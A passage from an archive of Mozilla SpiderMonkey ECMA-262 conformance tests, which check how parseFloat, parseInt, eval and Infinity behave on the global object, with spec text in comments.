interpret only a leading portion of the string as a number value; it ignores any characters that cannot be interpreted as part of the notation of a decimal literal, and no indication is given that such characters were ignored. StrDecimalLiteral:: Infinity DecimalDigits.DecimalDigits opt ExponentPart opt .DecimalDigits ExponentPart opt DecimalDigits ExponentPart opt Author: christine@netscape.com Date: 28 october 1997 */ var SECTION = "15.1.2.3-2"; var VERSION = "ECMA_1"; startTest(); var BUGNUMBER="none"; new TestCase( SECTION, "parseFloat(true)", Number.NaN, parseFloat(true) ); new TestCase( SECTION, "parseFloat(false)", Number.NaN, parseFloat(false) ); new TestCase( SECTION, "parseFloat('string')", Number.NaN, parseFloat("string") ); new TestCase( SECTION, "parseFloat(' Infinity')", Number.POSITIVE_INFINITY, parseFloat("Infinity") ); // new TestCase( SECTION, "parseFloat(Infinity)", Number.POSITIVE_INFINITY, parseFloat(Infinity) ); new TestCase( SECTION, "parseFloat(' 0')", 0, parseFloat(" 0") ); new TestCase( SECTION, "parseFloat(' -0')", -0, parseFloat(" -0") ); new TestCase( SECTION, "parseFloat(' +0')", 0, parseFloat(" +0") ); new TestCase( SECTION, "parseFloat(' 1')", 1, parseFloat(" 1") ); new TestCase( SECTION, "parseFloat(' -1')", -1, parseFloat(" -1") ); new TestCase( SECTION, "parseFloat(' +1')", 1, parseFloat(" +1") ); new TestCase( SECTION, "parseFloat(' 2')", 2, parseFloat(" 2") ); new TestCase( SECTION, "parseFloat(' -2')", -2, parseFloat(" -2") ); new TestCase( SECTION, "parseFloat(' +2')", 2, parseFloat(" +2") ); new TestCase( SECTION, "parseFloat(' 3')", 3, parseFloat(" 3") ); new TestCase( SECTION, "parseFloat(' -3')", -3, parseFloat(" -3") ); new TestCase( SECTION, "parseFloat(' +3')", 3, parseFloat(" +3") ); new TestCase( SECTION, "parseFloat(' 4')", 4, parseFloat(" 4") ); new TestCase( SECTION, "parseFloat(' -4')", -4, parseFloat(" -4") ); new TestCase( SECTION, "parseFloat(' +4')", 4, parseFloat(" +4") ); new TestCase( SECTION, "parseFloat(' 5')", 5, parseFloat(" 5") ); new TestCase( SECTION, "parseFloat(' -5')", -5, parseFloat(" -5") ); new TestCase( SECTION, "parseFloat(' +5')", 5, parseFloat(" +5") ); new TestCase( SECTION, "parseFloat(' 6')", 6, parseFloat(" 6") ); new TestCase( SECTION, "parseFloat(' -6')", -6, parseFloat(" -6") ); new TestCase( SECTION, "parseFloat(' +6')", 6, parseFloat(" +6") ); new TestCase( SECTION, "parseFloat(' 7')", 7, parseFloat(" 7") ); new TestCase( SECTION, "parseFloat(' -7')", -7, parseFloat(" -7") ); new TestCase( SECTION, "parseFloat(' +7')", 7, parseFloat(" +7") ); new TestCase( SECTION, "parseFloat(' 8')", 8, parseFloat(" 8") ); new TestCase( SECTION, "parseFloat(' -8')", -8, parseFloat(" -8") ); new TestCase( SECTION, "parseFloat(' +8')", 8, parseFloat(" +8") ); new TestCase( SECTION, "parseFloat(' 9')", 9, parseFloat(" 9") ); new TestCase( SECTION, "parseFloat(' -9')", -9, parseFloat(" -9") ); new TestCase( SECTION, "parseFloat(' +9')", 9, parseFloat(" +9") ); new TestCase( SECTION, "parseFloat(' 3.14159')", 3.14159, parseFloat(" 3.14159") ); new TestCase( SECTION, "parseFloat(' -3.14159')", -3.14159, parseFloat(" -3.14159") ); new TestCase( SECTION, "parseFloat(' +3.14159')", 3.14159, parseFloat(" +3.14159") ); new TestCase( SECTION, "parseFloat(' 3.')", 3, parseFloat(" 3.") ); new TestCase( SECTION, "parseFloat(' -3.')", -3, parseFloat(" -3.") ); new TestCase( SECTION, "parseFloat(' +3.')", 3, parseFloat(" +3.") ); new TestCase( SECTION, "parseFloat(' 3.e1')", 30, parseFloat(" 3.e1") ); new TestCase( SECTION, "parseFloat(' -3.e1')", -30, parseFloat(" -3.e1") ); new TestCase( SECTION, "parseFloat(' +3.e1')", 30, parseFloat(" +3.e1") ); new TestCase( SECTION, "parseFloat(' 3.e+1')", 30, parseFloat(" 3.e+1") ); new TestCase( SECTION, "parseFloat(' -3.e+1')", -30, parseFloat(" -3.e+1") ); new TestCase( SECTION, "parseFloat(' +3.e+1')", 30, parseFloat(" +3.e+1") ); new TestCase( SECTION, "parseFloat(' 3.e-1')", .30, parseFloat(" 3.e-1") ); new TestCase( SECTION, "parseFloat(' -3.e-1')", -.30, parseFloat(" -3.e-1") ); new TestCase( SECTION, "parseFloat(' +3.e-1')", .30, parseFloat(" +3.e-1") ); // StrDecimalLiteral::: .DecimalDigits ExponentPart opt new TestCase( SECTION, "parseFloat(' .00001')", 0.00001, parseFloat(" .00001") ); new TestCase( SECTION, "parseFloat(' +.00001')", 0.00001, parseFloat(" +.00001") ); new TestCase( SECTION, "parseFloat(' -0.0001')", -0.00001, parseFloat(" -.00001") ); new TestCase( SECTION, "parseFloat(' .01e2')", 1, parseFloat(" .01e2") ); new TestCase( SECTION, "parseFloat(' +.01e2')", 1, parseFloat(" +.01e2") ); new TestCase( SECTION, "parseFloat(' -.01e2')", -1, parseFloat(" -.01e2") ); new TestCase( SECTION, "parseFloat(' .01e+2')", 1, parseFloat(" .01e+2") ); new TestCase( SECTION, "parseFloat(' +.01e+2')", 1, parseFloat(" +.01e+2") ); new TestCase( SECTION, "parseFloat(' -.01e+2')", -1, parseFloat(" -.01e+2") ); new TestCase( SECTION, "parseFloat(' .01e-2')", 0.0001, parseFloat(" .01e-2") ); new TestCase( SECTION, "parseFloat(' +.01e-2')", 0.0001, parseFloat(" +.01e-2") ); new TestCase( SECTION, "parseFloat(' -.01e-2')", -0.0001, parseFloat(" -.01e-2") ); // StrDecimalLiteral::: DecimalDigits ExponentPart opt new TestCase( SECTION, "parseFloat(' 1234e5')", 123400000, parseFloat(" 1234e5") ); new TestCase( SECTION, "parseFloat(' +1234e5')", 123400000, parseFloat(" +1234e5") ); new TestCase( SECTION, "parseFloat(' -1234e5')", -123400000, parseFloat(" -1234e5") ); new TestCase( SECTION, "parseFloat(' 1234e+5')", 123400000, parseFloat(" 1234e+5") ); new TestCase( SECTION, "parseFloat(' +1234e+5')", 123400000, parseFloat(" +1234e+5") ); new TestCase( SECTION, "parseFloat(' -1234e+5')", -123400000, parseFloat(" -1234e+5") ); new TestCase( SECTION, "parseFloat(' 1234e-5')", 0.01234, parseFloat(" 1234e-5") ); new TestCase( SECTION, "parseFloat(' +1234e-5')", 0.01234, parseFloat(" +1234e-5") ); new TestCase( SECTION, "parseFloat(' -1234e-5')", -0.01234, parseFloat(" -1234e-5") ); new TestCase( SECTION, "parseFloat(' .01E2')", 1, parseFloat(" .01E2") ); new TestCase( SECTION, "parseFloat(' +.01E2')", 1, parseFloat(" +.01E2") ); new TestCase( SECTION, "parseFloat(' -.01E2')", -1, parseFloat(" -.01E2") ); new TestCase( SECTION, "parseFloat(' .01E+2')", 1, parseFloat(" .01E+2") ); new TestCase( SECTION, "parseFloat(' +.01E+2')", 1, parseFloat(" +.01E+2") ); new TestCase( SECTION, "parseFloat(' -.01E+2')", -1, parseFloat(" -.01E+2") ); new TestCase( SECTION, "parseFloat(' .01E-2')", 0.0001, parseFloat(" .01E-2") ); new TestCase( SECTION, "parseFloat(' +.01E-2')", 0.0001, parseFloat(" +.01E-2") ); new TestCase( SECTION, "parseFloat(' -.01E-2')", -0.0001, parseFloat(" -.01E-2") ); // StrDecimalLiteral::: DecimalDigits ExponentPart opt new TestCase( SECTION, "parseFloat(' 1234E5')", 123400000, parseFloat(" 1234E5") ); new TestCase( SECTION, "parseFloat(' +1234E5')", 123400000, parseFloat(" +1234E5") ); new TestCase( SECTION, "parseFloat(' -1234E5')", -123400000, parseFloat(" -1234E5") ); new TestCase( SECTION, "parseFloat(' 1234E+5')", 123400000, parseFloat(" 1234E+5") ); new TestCase( SECTION, "parseFloat(' +1234E+5')", 123400000, parseFloat(" +1234E+5") ); new TestCase( SECTION, "parseFloat(' -1234E+5')", -123400000, parseFloat(" -1234E+5") ); new TestCase( SECTION, "parseFloat(' 1234E-5')", 0.01234, parseFloat(" 1234E-5") ); new TestCase( SECTION, "parseFloat(' +1234E-5')", 0.01234, parseFloat(" +1234E-5") ); new TestCase( SECTION, "parseFloat(' -1234E-5')", -0.01234, parseFloat(" -1234E-5") ); // hex cases should all return NaN new TestCase( SECTION, "parseFloat(' 0x0')", 0, parseFloat(" 0x0")); new TestCase( SECTION, "parseFloat(' 0x1')", 0, parseFloat(" 0x1")); new TestCase( SECTION, "parseFloat(' 0x2')", 0, parseFloat(" 0x2")); new TestCase( SECTION, "parseFloat(' 0x3')", 0, parseFloat(" 0x3")); new TestCase( SECTION, "parseFloat(' 0x4')", 0, parseFloat(" 0x4")); new TestCase( SECTION, "parseFloat(' 0x5')", 0, parseFloat(" 0x5")); new TestCase( SECTION, "parseFloat(' 0x6')", 0, parseFloat(" 0x6")); new TestCase( SECTION, "parseFloat(' 0x7')", 0, parseFloat(" 0x7")); new TestCase( SECTION, "parseFloat(' 0x8')", 0, parseFloat(" 0x8")); new TestCase( SECTION, "parseFloat(' 0x9')", 0, parseFloat(" 0x9")); new TestCase( SECTION, "parseFloat(' 0xa')", 0, parseFloat(" 0xa")); new TestCase( SECTION, "parseFloat(' 0xb')", 0, parseFloat(" 0xb")); new TestCase( SECTION, "parseFloat(' 0xc')", 0, parseFloat(" 0xc")); new TestCase( SECTION, "parseFloat(' 0xd')", 0, parseFloat(" 0xd")); new TestCase( SECTION, "parseFloat(' 0xe')", 0, parseFloat(" 0xe")); new TestCase( SECTION, "parseFloat(' 0xf')", 0, parseFloat(" 0xf")); new TestCase( SECTION, "parseFloat(' 0xA')", 0, parseFloat(" 0xA")); new TestCase( SECTION, "parseFloat(' 0xB')", 0, parseFloat(" 0xB")); new TestCase( SECTION, "parseFloat(' 0xC')", 0, parseFloat(" 0xC")); new TestCase( SECTION, "parseFloat(' 0xD')", 0, parseFloat(" 0xD")); new TestCase( SECTION, "parseFloat(' 0xE')", 0, parseFloat(" 0xE")); new TestCase( SECTION, "parseFloat(' 0xF')", 0, parseFloat(" 0xF")); new TestCase( SECTION, "parseFloat(' 0X0')", 0, parseFloat(" 0X0")); new TestCase( SECTION, "parseFloat(' 0X1')", 0, parseFloat(" 0X1")); new TestCase( SECTION, "parseFloat(' 0X2')", 0, parseFloat(" 0X2")); new TestCase( SECTION, "parseFloat(' 0X3')", 0, parseFloat(" 0X3")); new TestCase( SECTION, "parseFloat(' 0X4')", 0, parseFloat(" 0X4")); new TestCase( SECTION, "parseFloat(' 0X5')", 0, parseFloat(" 0X5")); new TestCase( SECTION, "parseFloat(' 0X6')", 0, parseFloat(" 0X6")); new TestCase( SECTION, "parseFloat(' 0X7')", 0, parseFloat(" 0X7")); new TestCase( SECTION, "parseFloat(' 0X8')", 0, parseFloat(" 0X8")); new TestCase( SECTION, "parseFloat(' 0X9')", 0, parseFloat(" 0X9")); new TestCase( SECTION, "parseFloat(' 0Xa')", 0, parseFloat(" 0Xa")); new TestCase( SECTION, "parseFloat(' 0Xb')", 0, parseFloat(" 0Xb")); new TestCase( SECTION, "parseFloat(' 0Xc')", 0, parseFloat(" 0Xc")); new TestCase( SECTION, "parseFloat(' 0Xd')", 0, parseFloat(" 0Xd")); new TestCase( SECTION, "parseFloat(' 0Xe')", 0, parseFloat(" 0Xe")); new TestCase( SECTION, "parseFloat(' 0Xf')", 0, parseFloat(" 0Xf")); new TestCase( SECTION, "parseFloat(' 0XA')", 0, parseFloat(" 0XA")); new TestCase( SECTION, "parseFloat(' 0XB')", 0, parseFloat(" 0XB")); new TestCase( SECTION, "parseFloat(' 0XC')", 0, parseFloat(" 0XC")); new TestCase( SECTION, "parseFloat(' 0XD')", 0, parseFloat(" 0XD")); new TestCase( SECTION, "parseFloat(' 0XE')", 0, parseFloat(" 0XE")); new TestCase( SECTION, "parseFloat(' 0XF')", 0, parseFloat(" 0XF")); // A StringNumericLiteral may not use octal notation new TestCase( SECTION, "parseFloat(' 00')", 0, parseFloat(" 00")); new TestCase( SECTION, "parseFloat(' 01')", 1, parseFloat(" 01")); new TestCase( SECTION, "parseFloat(' 02')", 2, parseFloat(" 02")); new TestCase( SECTION, "parseFloat(' 03')", 3, parseFloat(" 03")); new TestCase( SECTION, "parseFloat(' 04')", 4, parseFloat(" 04")); new TestCase( SECTION, "parseFloat(' 05')", 5, parseFloat(" 05")); new TestCase( SECTION, "parseFloat(' 06')", 6, parseFloat(" 06")); new TestCase( SECTION, "parseFloat(' 07')", 7, parseFloat(" 07")); new TestCase( SECTION, "parseFloat(' 010')", 10, parseFloat(" 010")); new TestCase( SECTION, "parseFloat(' 011')", 11, parseFloat(" 011")); // A StringNumericLIteral may have any number of leading 0 digits new TestCase( SECTION, "parseFloat(' 001')", 1, parseFloat(" 001")); new TestCase( SECTION, "parseFloat(' 0001')", 1, parseFloat(" 0001")); // A StringNumericLIteral may have any number of leading 0 digits new TestCase( SECTION, "parseFloat(001)", 1, parseFloat(001)); new TestCase( SECTION, "parseFloat(0001)", 1, parseFloat(0001)); // make sure it' s reflexive new TestCase( SECTION, "parseFloat( ' ' +Math.PI+' ')", Math.PI, parseFloat( ' ' +Math.PI+' ')); new TestCase( SECTION, "parseFloat( ' ' +Math.LN2+' ')", Math.LN2, parseFloat( ' ' +Math.LN2+' ')); new TestCase( SECTION, "parseFloat( ' ' +Math.LN10+' ')", Math.LN10, parseFloat( ' ' +Math.LN10+' ')); new TestCase( SECTION, "parseFloat( ' ' +Math.LOG2E+' ')", Math.LOG2E, parseFloat( ' ' +Math.LOG2E+' ')); new TestCase( SECTION, "parseFloat( ' ' +Math.LOG10E+' ')", Math.LOG10E, parseFloat( ' ' +Math.LOG10E+' ')); new TestCase( SECTION, "parseFloat( ' ' +Math.SQRT2+' ')", Math.SQRT2, parseFloat( ' ' +Math.SQRT2+' ')); new TestCase( SECTION, "parseFloat( ' ' +Math.SQRT1_2+' ')", Math.SQRT1_2, parseFloat( ' ' +Math.SQRT1_2+' ')); test(); mozjs17.0.0/js/src/tests/ecma/GlobalObject/15.1-1-n.js0000664000175000017500000000166412106270663021724 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.1-1-n.js ECMA Section: The global object Description: The global object does not have a [[Construct]] property; it is not possible to use the global object as a constructor with the new operator. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.1-1-n"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The Global Object"; writeHeaderToLog( SECTION + " "+ TITLE); DESCRIPTION = "var MY_GLOBAL = new this()"; EXPECTED = "error"; new TestCase( SECTION, "var MY_GLOBAL = new this()", "error", eval("var MY_GLOBAL = new this()") ); test(); mozjs17.0.0/js/src/tests/ecma/GlobalObject/15.1.2.1-2.js0000664000175000017500000000211312106270663021757 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.1.2.1-2.js ECMA Section: 15.1.2.1 eval(x) Parse x as an ECMAScript Program. If the parse fails, generate a runtime error. Evaluate the program. If result is "Normal completion after value V", return the value V. Else, return undefined. Description: Author: christine@netscape.com Date: 16 september 1997 */ var SECTION = "15.1.2.1-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "eval(x)"; var BUGNUMBER = "none"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "d = new Date(0); with (d) { x = getUTCMonth() +'/'+ getUTCDate() +'/'+ getUTCFullYear(); } x", "0/1/1970", eval( "d = new Date(0); with (d) { x = getUTCMonth() +'/'+ getUTCDate() +'/'+ getUTCFullYear(); } x" )); test(); mozjs17.0.0/js/src/tests/ecma/GlobalObject/15.1.1.2.js0000664000175000017500000000167212106270663021631 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.1.1.2.js ECMA Section: 15.1.1.2 Infinity Description: The initial value of Infinity is +Infinity. Author: christine@netscape.com Date: 28 october 1997 */ var SECTION = "15.1.1.2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Infinity"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "Infinity", Number.POSITIVE_INFINITY, Infinity ); new TestCase( SECTION, "this.Infinity", Number.POSITIVE_INFINITY, this.Infinity ); new TestCase( SECTION, "typeof Infinity", "number", typeof Infinity ); test(); mozjs17.0.0/js/src/tests/ecma/GlobalObject/15.1.2.2-1.js0000664000175000017500000003255412106270663021773 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.1.2.2-1.js ECMA Section: 15.1.2.2 Function properties of the global object parseInt( string, radix ) Description: The parseInt function produces an integer value dictated by intepretation of the contents of the string argument according to the specified radix. When the parseInt function is called, the following steps are taken: 1. Call ToString(string). 2. Compute a substring of Result(1) consisting of the leftmost character that is not a StrWhiteSpaceChar and all characters to the right of that character. (In other words, remove leading whitespace.) 3. Let sign be 1. 4. If Result(2) is not empty and the first character of Result(2) is a minus sign -, let sign be -1. 5. If Result(2) is not empty and the first character of Result(2) is a plus sign + or a minus sign -, then Result(5) is the substring of Result(2) produced by removing the first character; otherwise, Result(5) is Result(2). 6. If the radix argument is not supplied, go to step 12. 7. Call ToInt32(radix). 8. If Result(7) is zero, go to step 12; otherwise, if Result(7) < 2 or Result(7) > 36, return NaN. 9. Let R be Result(7). 10. If R = 16 and the length of Result(5) is at least 2 and the first two characters of Result(5) are either "0x" or "0X", let S be the substring of Result(5) consisting of all but the first two characters; otherwise, let S be Result(5). 11. Go to step 22. 12. If Result(5) is empty or the first character of Result(5) is not 0, go to step 20. 13. If the length of Result(5) is at least 2 and the second character of Result(5) is x or X, go to step 17. 14. Let R be 8. 15. Let S be Result(5). 16. Go to step 22. 17. Let R be 16. 18. Let S be the substring of Result(5) consisting of all but the first two characters. 19. Go to step 22. 20. Let R be 10. 21. Let S be Result(5). 22. If S contains any character that is not a radix-R digit, then let Z be the substring of S consisting of all characters to the left of the leftmost such character; otherwise, let Z be S. 23. If Z is empty, return NaN. 24. Compute the mathematical integer value that is represented by Z in radix-R notation. (But if R is 10 and Z contains more than 20 significant digits, every digit after the 20th may be replaced by a 0 digit, at the option of the implementation; and if R is not 2, 4, 8, 10, 16, or 32, then Result(24) may be an implementation-dependent approximation to the mathematical integer value that is represented by Z in radix-R notation.) 25. Compute the number value for Result(24). 26. Return sign Result(25). Note that parseInt may interpret only a leading portion of the string as an integer value; it ignores any characters that cannot be interpreted as part of the notation of an integer, and no indication is given that any such characters were ignored. Author: christine@netscape.com Date: 28 october 1997 */ var SECTION = "15.1.2.2-1"; var VERSION = "ECMA_1"; var TITLE = "parseInt(string, radix)"; var BUGNUMBER = "none"; startTest(); writeHeaderToLog( SECTION + " "+ TITLE); var HEX_STRING = "0x0"; var HEX_VALUE = 0; new TestCase( SECTION, "parseInt.length", 2, parseInt.length ); new TestCase( SECTION, "parseInt.length = 0; parseInt.length", 2, eval("parseInt.length = 0; parseInt.length") ); new TestCase( SECTION, "var PROPS=''; for ( var p in parseInt ) { PROPS += p; }; PROPS", "", eval("var PROPS=''; for ( var p in parseInt ) { PROPS += p; }; PROPS") ); new TestCase( SECTION, "delete parseInt.length", false, delete parseInt.length ); new TestCase( SECTION, "delete parseInt.length; parseInt.length", 2, eval("delete parseInt.length; parseInt.length") ); new TestCase( SECTION, "parseInt.length = null; parseInt.length", 2, eval("parseInt.length = null; parseInt.length") ); new TestCase( SECTION, "parseInt()", NaN, parseInt() ); new TestCase( SECTION, "parseInt('')", NaN, parseInt("") ); new TestCase( SECTION, "parseInt('','')", NaN, parseInt("","") ); new TestCase( SECTION, "parseInt(\" 0xabcdef ", 11259375, parseInt( " 0xabcdef " )); new TestCase( SECTION, "parseInt(\" 0XABCDEF ", 11259375, parseInt( " 0XABCDEF " ) ); new TestCase( SECTION, "parseInt( 0xabcdef )", 11259375, parseInt( "0xabcdef") ); new TestCase( SECTION, "parseInt( 0XABCDEF )", 11259375, parseInt( "0XABCDEF") ); for ( HEX_STRING = "0x0", HEX_VALUE = 0, POWER = 0; POWER < 15; POWER++, HEX_STRING = HEX_STRING +"f" ) { new TestCase( SECTION, "parseInt("+HEX_STRING+")", HEX_VALUE, parseInt(HEX_STRING) ); HEX_VALUE += Math.pow(16,POWER)*15; } for ( HEX_STRING = "0X0", HEX_VALUE = 0, POWER = 0; POWER < 15; POWER++, HEX_STRING = HEX_STRING +"f" ) { new TestCase( SECTION, "parseInt("+HEX_STRING+")", HEX_VALUE, parseInt(HEX_STRING) ); HEX_VALUE += Math.pow(16,POWER)*15; } for ( HEX_STRING = "0x0", HEX_VALUE = 0, POWER = 0; POWER < 15; POWER++, HEX_STRING = HEX_STRING +"f" ) { new TestCase( SECTION, "parseInt("+HEX_STRING+",16)", HEX_VALUE, parseInt(HEX_STRING,16) ); HEX_VALUE += Math.pow(16,POWER)*15; } for ( HEX_STRING = "0x0", HEX_VALUE = 0, POWER = 0; POWER < 15; POWER++, HEX_STRING = HEX_STRING +"f" ) { new TestCase( SECTION, "parseInt("+HEX_STRING+",16)", HEX_VALUE, parseInt(HEX_STRING,16) ); HEX_VALUE += Math.pow(16,POWER)*15; } for ( HEX_STRING = "0x0", HEX_VALUE = 0, POWER = 0; POWER < 15; POWER++, HEX_STRING = HEX_STRING +"f" ) { new TestCase( SECTION, "parseInt("+HEX_STRING+",null)", HEX_VALUE, parseInt(HEX_STRING,null) ); HEX_VALUE += Math.pow(16,POWER)*15; } for ( HEX_STRING = "0x0", HEX_VALUE = 0, POWER = 0; POWER < 15; POWER++, HEX_STRING = HEX_STRING +"f" ) { new TestCase( SECTION, "parseInt("+HEX_STRING+", void 0)", HEX_VALUE, parseInt(HEX_STRING, void 0) ); HEX_VALUE += Math.pow(16,POWER)*15; } // a few tests with spaces for ( var space = " ", HEX_STRING = "0x0", HEX_VALUE = 0, POWER = 0; POWER < 15; POWER++, HEX_STRING = HEX_STRING +"f", space += " ") { new TestCase( SECTION, "parseInt("+space+HEX_STRING+space+", void 0)", HEX_VALUE, parseInt(space+HEX_STRING+space, void 0) ); HEX_VALUE += Math.pow(16,POWER)*15; } new TestCase(SECTION, "parseInt(BOM + '123', 10)", 123, parseInt("\uFEFF" + "123", 10)); // a few tests with negative numbers for ( HEX_STRING = "-0x0", HEX_VALUE = 0, POWER = 0; POWER < 15; POWER++, HEX_STRING = HEX_STRING +"f" ) { new TestCase( SECTION, "parseInt("+HEX_STRING+")", HEX_VALUE, parseInt(HEX_STRING) ); HEX_VALUE -= Math.pow(16,POWER)*15; } // we should stop parsing when we get to a value that is not a numeric literal for the type we expect for ( HEX_STRING = "0x0", HEX_VALUE = 0, POWER = 0; POWER < 15; POWER++, HEX_STRING = HEX_STRING +"f" ) { new TestCase( SECTION, "parseInt("+HEX_STRING+"g,16)", HEX_VALUE, parseInt(HEX_STRING+"g",16) ); HEX_VALUE += Math.pow(16,POWER)*15; } for ( HEX_STRING = "0x0", HEX_VALUE = 0, POWER = 0; POWER < 15; POWER++, HEX_STRING = HEX_STRING +"f" ) { new TestCase( SECTION, "parseInt("+HEX_STRING+"g,16)", HEX_VALUE, parseInt(HEX_STRING+"G",16) ); HEX_VALUE += Math.pow(16,POWER)*15; } for ( HEX_STRING = "-0x0", HEX_VALUE = 0, POWER = 0; POWER < 15; POWER++, HEX_STRING = HEX_STRING +"f" ) { new TestCase( SECTION, "parseInt("+HEX_STRING+")", HEX_VALUE, parseInt(HEX_STRING) ); HEX_VALUE -= Math.pow(16,POWER)*15; } for ( HEX_STRING = "-0X0", HEX_VALUE = 0, POWER = 0; POWER < 15; POWER++, HEX_STRING = HEX_STRING +"f" ) { new TestCase( SECTION, "parseInt("+HEX_STRING+")", HEX_VALUE, parseInt(HEX_STRING) ); HEX_VALUE -= Math.pow(16,POWER)*15; } for ( HEX_STRING = "-0x0", HEX_VALUE = 0, POWER = 0; POWER < 15; POWER++, HEX_STRING = HEX_STRING +"f" ) { new TestCase( SECTION, "parseInt("+HEX_STRING+",16)", HEX_VALUE, parseInt(HEX_STRING,16) ); HEX_VALUE -= Math.pow(16,POWER)*15; } for ( HEX_STRING = "-0x0", HEX_VALUE = 0, POWER = 0; POWER < 15; POWER++, HEX_STRING = HEX_STRING +"f" ) { new TestCase( SECTION, "parseInt("+HEX_STRING+",16)", HEX_VALUE, parseInt(HEX_STRING,16) ); HEX_VALUE -= Math.pow(16,POWER)*15; } // let us do some octal tests. numbers that start with 0 and do not provid a radix should // default to using "0" as a radix. var OCT_STRING = "0"; var OCT_VALUE = 0; for ( OCT_STRING = "0", OCT_VALUE = 0, POWER = 0; POWER < 15; POWER++, OCT_STRING = OCT_STRING +"7" ) { new TestCase( SECTION, "parseInt("+OCT_STRING+")", OCT_VALUE, parseInt(OCT_STRING) ); OCT_VALUE += Math.pow(8,POWER)*7; } for ( OCT_STRING = "-0", OCT_VALUE = 0, POWER = 0; POWER < 15; POWER++, OCT_STRING = OCT_STRING +"7" ) { new TestCase( SECTION, "parseInt("+OCT_STRING+")", OCT_VALUE, parseInt(OCT_STRING) ); OCT_VALUE -= Math.pow(8,POWER)*7; } // should get the same results as above if we provid the radix of 8 (or 010) for ( OCT_STRING = "0", OCT_VALUE = 0, POWER = 0; POWER < 15; POWER++, OCT_STRING = OCT_STRING +"7" ) { new TestCase( SECTION, "parseInt("+OCT_STRING+",8)", OCT_VALUE, parseInt(OCT_STRING,8) ); OCT_VALUE += Math.pow(8,POWER)*7; } for ( OCT_STRING = "-0", OCT_VALUE = 0, POWER = 0; POWER < 15; POWER++, OCT_STRING = OCT_STRING +"7" ) { new TestCase( SECTION, "parseInt("+OCT_STRING+",010)", OCT_VALUE, parseInt(OCT_STRING,010) ); OCT_VALUE -= Math.pow(8,POWER)*7; } // we shall stop parsing digits when we get one that isn't a numeric literal of the type we think // it should be. for ( OCT_STRING = "0", OCT_VALUE = 0, POWER = 0; POWER < 15; POWER++, OCT_STRING = OCT_STRING +"7" ) { new TestCase( SECTION, "parseInt("+OCT_STRING+"8,8)", OCT_VALUE, parseInt(OCT_STRING+"8",8) ); OCT_VALUE += Math.pow(8,POWER)*7; } for ( OCT_STRING = "-0", OCT_VALUE = 0, POWER = 0; POWER < 15; POWER++, OCT_STRING = OCT_STRING +"7" ) { new TestCase( SECTION, "parseInt("+OCT_STRING+"8,010)", OCT_VALUE, parseInt(OCT_STRING+"8",010) ); OCT_VALUE -= Math.pow(8,POWER)*7; } new TestCase( SECTION, "parseInt( '0x' )", NaN, parseInt("0x") ); new TestCase( SECTION, "parseInt( '0X' )", NaN, parseInt("0X") ); new TestCase( SECTION, "parseInt( '11111111112222222222' )", 11111111112222222222, parseInt("11111111112222222222") ); new TestCase( SECTION, "parseInt( '111111111122222222223' )", 111111111122222222220, parseInt("111111111122222222223") ); new TestCase( SECTION, "parseInt( '11111111112222222222',10 )", 11111111112222222222, parseInt("11111111112222222222",10) ); new TestCase( SECTION, "parseInt( '111111111122222222223',10 )", 111111111122222222220, parseInt("111111111122222222223",10) ); new TestCase( SECTION, "parseInt( '01234567890', -1 )", Number.NaN, parseInt("01234567890",-1) ); new TestCase( SECTION, "parseInt( '01234567890', 0 )", Number.NaN, parseInt("01234567890",1) ); new TestCase( SECTION, "parseInt( '01234567890', 1 )", Number.NaN, parseInt("01234567890",1) ); new TestCase( SECTION, "parseInt( '01234567890', 2 )", 1, parseInt("01234567890",2) ); new TestCase( SECTION, "parseInt( '01234567890', 3 )", 5, parseInt("01234567890",3) ); new TestCase( SECTION, "parseInt( '01234567890', 4 )", 27, parseInt("01234567890",4) ); new TestCase( SECTION, "parseInt( '01234567890', 5 )", 194, parseInt("01234567890",5) ); new TestCase( SECTION, "parseInt( '01234567890', 6 )", 1865, parseInt("01234567890",6) ); new TestCase( SECTION, "parseInt( '01234567890', 7 )", 22875, parseInt("01234567890",7) ); new TestCase( SECTION, "parseInt( '01234567890', 8 )", 342391, parseInt("01234567890",8) ); new TestCase( SECTION, "parseInt( '01234567890', 9 )", 6053444, parseInt("01234567890",9) ); new TestCase( SECTION, "parseInt( '01234567890', 10 )", 1234567890, parseInt("01234567890",10) ); // need more test cases with hex radix new TestCase( SECTION, "parseInt( '1234567890', '0xa')", 1234567890, parseInt("1234567890","0xa") ); new TestCase( SECTION, "parseInt( '012345', 11 )", 17715, parseInt("012345",11) ); new TestCase( SECTION, "parseInt( '012345', 35 )", 1590195, parseInt("012345",35) ); new TestCase( SECTION, "parseInt( '012345', 36 )", 1776965, parseInt("012345",36) ); new TestCase( SECTION, "parseInt( '012345', 37 )", Number.NaN, parseInt("012345",37) ); test(); mozjs17.0.0/js/src/tests/ecma/GlobalObject/browser.js0000664000175000017500000000000012106270663022411 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/ecma/GlobalObject/15.1.2.2-2.js0000664000175000017500000001334312106270663021767 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. 